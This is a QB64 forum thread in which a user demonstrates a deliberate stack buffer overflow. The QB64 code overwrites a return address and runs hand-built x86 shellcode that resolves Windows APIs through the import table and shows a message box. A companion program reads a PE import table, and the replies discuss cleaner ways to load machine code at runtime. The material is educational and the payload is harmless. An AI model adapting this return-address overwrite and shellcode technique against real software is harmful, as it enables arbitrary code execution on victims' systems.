• Print

Author Topic: Demonstration: deliberate buffer overflow to execute code on the stack.  (Read 352 times)

mcalkins

  • Hero Member
  • *****
  • Posts: 1279
    • qbasicmichael.com
    • Email
Demonstration: deliberate buffer overflow to execute code on the stack.
« on: November 11, 2012, 04:43:47 PM »
Obviously, this is just a demonstration. One of the key things to note is that, for a given binary program, the exploiting code can be constant. Although this program assembles the code at runtime, it does so based on hard coded constants. The demo could be rewritten to load the exploiting code from a file.

Obviously, this is a pretty blatant deliberate vulnerability, but I think that it demonstrates the concept.

There are a number of reasons why buffer overflows aren't easily exploitable in QB64. First of all, QB64 is a relatively safe language, until you start playing with things like memcpy. (The demo could be rewritten to use _MEM instead. I'll probably do that tomorrow.) QB64 doesn't put normal variables on the stack. In this case, I deliberately made it use a stack based temporary variable (by passing a literal constant by reference). Also, there are QB64 internal variables between the temporary variable that you are trying to overflow, and the return address that you need to rewrite. If they are not correct, the QB64 function epilog can crash on the bad data, before it returns to your exploit code.

Windows has a DEP (Data Execution Prevention) option. You can get to it from System Properties, Advanced, Performance Options. I keep mine set to "Turn on DEP for all programs and services except those I select:". (This corresponds to the /NoExecute=OptOut option in boot.ini.) If you have DEP enabled, Windows will stop this program when it tries to return to the stack. You can change the settings to allow this particular program to run.

http://en.wikipedia.org/wiki/Buffer_overflow
http://en.wikipedia.org/wiki/Stack_buffer_overflow
http://en.wikipedia.org/wiki/Buffer_overflow_protection
http://en.wikipedia.org/wiki/Address_space_layout_randomization

The demonstrated exploit depends on knowing the address to which it will be loaded, and on being able to find the Import Address Table entries for LoadLibraryA and GetProcessAddressA. It would not work reliably if it's position on the stack or the location of the IAT were randomized.

Code: [Select]
'public domain, 2012-11-11, michael calkins

'specifically tested on QB64 0.954 on Windows XP SP3 32 bit.
'would possibly work on other Windows versions. Probably won't work as-is with
'other QB64 versions.
'DEP would prevent it from working.

DECLARE CUSTOMTYPE LIBRARY
 SUB memcpy (BYVAL dest~%&, BYVAL src~%&, BYVAL count~%&) 'discard return value
END DECLARE

_DELAY .5
a
PRINT "this will not print."
END

SUB a
b
END SUB

SUB b
c CVL("FIND") ' causes QB64 to use a stack based temp variable for byref parameter
END SUB ' return address will have been overwritten.

SUB c (l AS LONG)
DIM t AS STRING
DIM push_eax AS STRING * 1: push_eax = h2b("50")
DIM push_edx AS STRING * 1: push_edx = h2b("52")
DIM push_dword AS STRING * 1: push_dword = h2b("68")
DIM xor_edx_edx AS STRING * 2: xor_edx_edx = h2b("31d2")
DIM call_mem AS STRING * 2: call_mem = h2b("ff15")
DIM call_eax AS STRING * 2: call_eax = h2b("ffd0")

'this constant may require adjustment if you change the program.
CONST Origin = &H1FBFEC4
'CONST Origin = &H205FEC4
IF Origin <> _OFFSET(l) THEN
 PRINT HEX$(Origin), HEX$(_OFFSET(l)), "You need to adjust the constant."
 END
END IF

' these next two constants may require ajustment by multiples of 0x1000 if you
' change the program.
CONST LoadLibraryA = &HA2E938
CONST GetProcAddressA = &HA2E90C

'these constants provide the location of the string data.
CONST name_user32 = Origin + &H20 + &H45
CONST name_MessageBoxA = Origin + &H20 + &H45 + &HB
CONST name_kernel32 = Origin + &H20 + &H45 + &H17
CONST name_ExitProcess = Origin + &H20 + &H45 + &H20
CONST text = Origin + &H20 + &H45 + &H2C
CONST caption = Origin + &H20 + &H45 + &H42

t = "FIND"
'these next values are obtained from drwtsn32.log with a deliberate crash on
'the memcpy. These values might need to be adjusted if you change the program.
t = t + MKL$(&H0000FFF0) ' uint32 tmp_cmem_sp
t = t + MKL$(&H01AB0020) ' uint8 *tmp_mem_static_pointer
t = t + MKL$(&H00000008) ' uint32 qbs_tmp_base
t = t + MKL$(&H011C0068) ' int32 tmp_fileno
t = t + MKL$(&H1F4) ' ptrszint tmp_long
t = t + MKL$(&H01FBFF10) ' qbs *tqbs

t = t + MKL$(Origin - 4) 'new ebp
t = t + MKL$(Origin + &H24) ' new return address

'code:
t = t + push_dword + MKL$(name_user32)
t = t + call_mem + MKL$(LoadLibraryA)
t = t + push_dword + MKL$(name_MessageBoxA)
t = t + push_eax
t = t + call_mem + MKL$(GetProcAddressA)
t = t + xor_edx_edx
t = t + push_edx ' doing the parameter for ExitProcess early
t = t + push_edx
t = t + push_dword + MKL$(caption)
t = t + push_dword + MKL$(text)
t = t + push_edx
t = t + call_eax ' MessageBoxA
t = t + push_dword + MKL$(name_kernel32)
t = t + call_mem + MKL$(LoadLibraryA)
t = t + push_dword + MKL$(name_ExitProcess)
t = t + push_eax
t = t + call_mem + MKL$(GetProcAddressA)
t = t + call_eax ' ExitProcess

'data strings:
t = t + "user32.dll" + CHR$(0)
t = t + "MessageBoxA" + CHR$(0)
t = t + "kernel32" + CHR$(0)
t = t + "ExitProcess" + CHR$(0)
t = t + "Hello from the stack!" + CHR$(0)
t = t + "Deliberate buffer overflow with code execution." + CHR$(0)

memcpy _OFFSET(l), _OFFSET(t), LEN(t) ' deliberately overflow the buffer
' OR the destination address with -1 to get a deliberate crash.
END SUB

FUNCTION h2b$ (h AS STRING)
DIM i AS LONG
DIM t AS STRING
t = SPACE$(LEN(h) \ 2)
FOR i = 0 TO LEN(h) \ 2 - 1
 MID$(t, 1 + i, 1) = CHR$(VAL("&h" + MID$(h, 1 + 2 * i, 2)))
NEXT
h2b = t
END FUNCTION

Here is what I used to get the the addresses for the IAT entries. It's a quick modification of code I had posted some time back for reading DLL names out of the .edata section.

Code: [Select]
' public domain.

'$include:'peekpoke.bi' ' http://www.qb64.net/forum/index.php?topic=4491.0

getdllinfo &H400000

END

SUB getdllinfo (dllbase AS _UNSIGNED _OFFSET)
'this code was modified from my qdb code, for which it was modified from my
'rsrc code. (qdb contains an inconsequential bug related to ordbias).

'based on the Microsoft PE and COFF spec, Revision 8.2 - September 21, 2010
'http://msdn.microsoft.com/en-us/windows/hardware/gg463119.aspx

DIM k AS STRING
DIM ul AS _UNSIGNED LONG
DIM dw AS _UNSIGNED LONG
DIM coff AS _UNSIGNED LONG
DIM import AS _UNSIGNED LONG
DIM importsize AS _UNSIGNED LONG
DIM pe32plus AS LONG
DIM i AS _UNSIGNED LONG
DIM iat AS _UNSIGNED LONG
DIM lutab AS _UNSIGNED LONG

IF peekw(0 + dllbase) <> &H5A4D THEN PRINT "No MZ signature.": EXIT SUB
dw = peekd(&H3C + dllbase)
IF peekd(dw + dllbase) <> &H4550& THEN PRINT "No PE signature.": EXIT SUB
coff = dw + 4
IF peekw(16 + coff + dllbase) = 0 THEN PRINT "No optional header.": EXIT SUB
SELECT CASE peekw(20 + coff + dllbase)
 CASE &H10B: pe32plus = 0
 CASE &H20B: pe32plus = -1
 CASE ELSE: PRINT "Unknown Magic.": EXIT SUB
END SELECT
IF peekd(92 + (16 AND pe32plus) + 20 + coff + dllbase) < 2 THEN PRINT "No import table.": EXIT SUB
import = peekd(104 + (16 AND pe32plus) + 20 + coff + dllbase)
importsize = peekd(108 + (16 AND pe32plus) + 20 + coff + dllbase)
IF (import = 0) OR (importsize = 0) THEN PRINT "No import table.": EXIT SUB

i = 0
DO
 lutab = peekd(i + import + dllbase)
 IF 0 = lutab THEN EXIT DO
 dw = peekd(i + 12 + import + dllbase)
 iat = peekd(i + 16 + import + dllbase)

 k = peekstr(dw + dllbase)
 PRINT "DLL name: "; k

 ul = 0
 DO
  dw = peekd(ul + lutab + dllbase)
  IF 0 = dw THEN EXIT DO
  IF &H80000000& AND dw THEN
   PRINT dw AND &HFFFF~&
  ELSE
   k = peekstr(2 + dw + dllbase)
   PRINT k
  END IF
  PRINT LCASE$(HEX$(ul + iat + dllbase)), LCASE$(HEX$(peekd(ul + iat + dllbase)))

  SELECT CASE k
   CASE "LoadLibraryA", "GetProcAddress"
    SLEEP: WHILE LEN(INKEY$): WEND
  END SELECT

  '  IF CSRLIN >= 21 THEN PRINT "Press any key...";: SLEEP: WHILE LEN(INKEY$): WEND: CLS
  ul = ul + 4
 LOOP
 i = i + 20
LOOP
END SUB

FUNCTION peekstr$ (p AS _UNSIGNED _OFFSET)
DIM t AS STRING
DIM i AS _UNSIGNED LONG
DIM b AS _UNSIGNED _BYTE
i = 0
t = STRING$(&H100, 0)
DO
 IF i > LEN(t) THEN t = t + STRING$(&H100, 0)
 b = peekb(p + i)
 IF 0 = b THEN EXIT DO
 MID$(t, i + 1, 1) = CHR$(b)
 i = i + 1
LOOP
peekstr = LEFT$(t, i)
END FUNCTION

Regards,
Michael

Edit: (2013 01 09) fixed a bug in h2b$. changed FOR i = 0 TO LEN(h)   to   FOR i = 0 TO LEN(h) \ 2 - 1
« Last Edit: January 09, 2013, 03:58:31 AM by mcalkins »
The QBASIC Forum Community: http://www.network54.com/index/10167 Includes off-topic subforums.
QB64 Off-topic subforum: http://qb64offtopic.freeforums.org/

fatman2021

  • Hero Member
  • *****
  • Posts: 978
  • Lord Jesus Christ, Son of God, have mercy on us.
    • Email
Re: Demonstration: deliberate buffer overflow to execute code on the stack.
« Reply #1 on: February 02, 2013, 05:35:40 PM »
@Galleon

Hold off on patching this until after call absolute is fully implemented.
Woe to those who call evil good, and good evil;
Who put darkness for light, and light for darkness;
Who put bitter for sweet, and sweet for bitter!

Isaiah 5:20

mcalkins

  • Hero Member
  • *****
  • Posts: 1279
    • qbasicmichael.com
    • Email
Re: Demonstration: deliberate buffer overflow to execute code on the stack.
« Reply #2 on: February 04, 2013, 05:32:39 PM »
I don't consider it to be a bug, so that it should be patched.

The above was meant to be a demonstration in the style of a buffer overflow (in this case deliberate, but showing how the vulnerability could happen accidentally). If your objective is the more straightforward runtime loading and execution of machine code, there are safer, more reliable ways of doing it.

For example, rather than hard coding Origin, you would just use _OFFSET(l) directly. You could allocate memory for the code using the Windows Virtual Memory functions (VirtualAlloc, VirtualProtect, etc...) which allow you to set page protection attributes, so that DEP should not be a problem. You wouldn't have to worry about overwriting temporary internal variables, because the mechanism wouldn't be a buffer overflow, but just a specific overwriting of the return address and perhaps the frame pointer. (Or else, you would use a C++ header to call a function pointer, as has been demonstrated elsewhere.) The code wouldn't have to get the addresses of LoadLibrary and GetProcAddress from the IAT; they could be given directly to the code...

I had actually been meaning to post an example of this more straightforward code execution, but I hadn't gotten around to it. The current plan is a simple, console based "guess my number" game which would be dynamically loaded. However, I had put it on hold... I'll write it and post it when I get a chance...

Of course, you could always create a DLL file on the fly, and then load it with LoadLibrary...

Regards,
Michael

P.S. I'm not sure, but the code in the first post might have a race condition between the threads, in terms of the stack location.

FlushInstructionCache should be called between loading the code and executing it. Obviously, this would not be something that a program with an accidental buffer overflow vulnerability would do, but it is something that should be done for normal, straightforward loading and execution of code at runtime.
« Last Edit: February 04, 2013, 06:46:14 PM by mcalkins »
The QBASIC Forum Community: http://www.network54.com/index/10167 Includes off-topic subforums.
QB64 Off-topic subforum: http://qb64offtopic.freeforums.org/

  • Print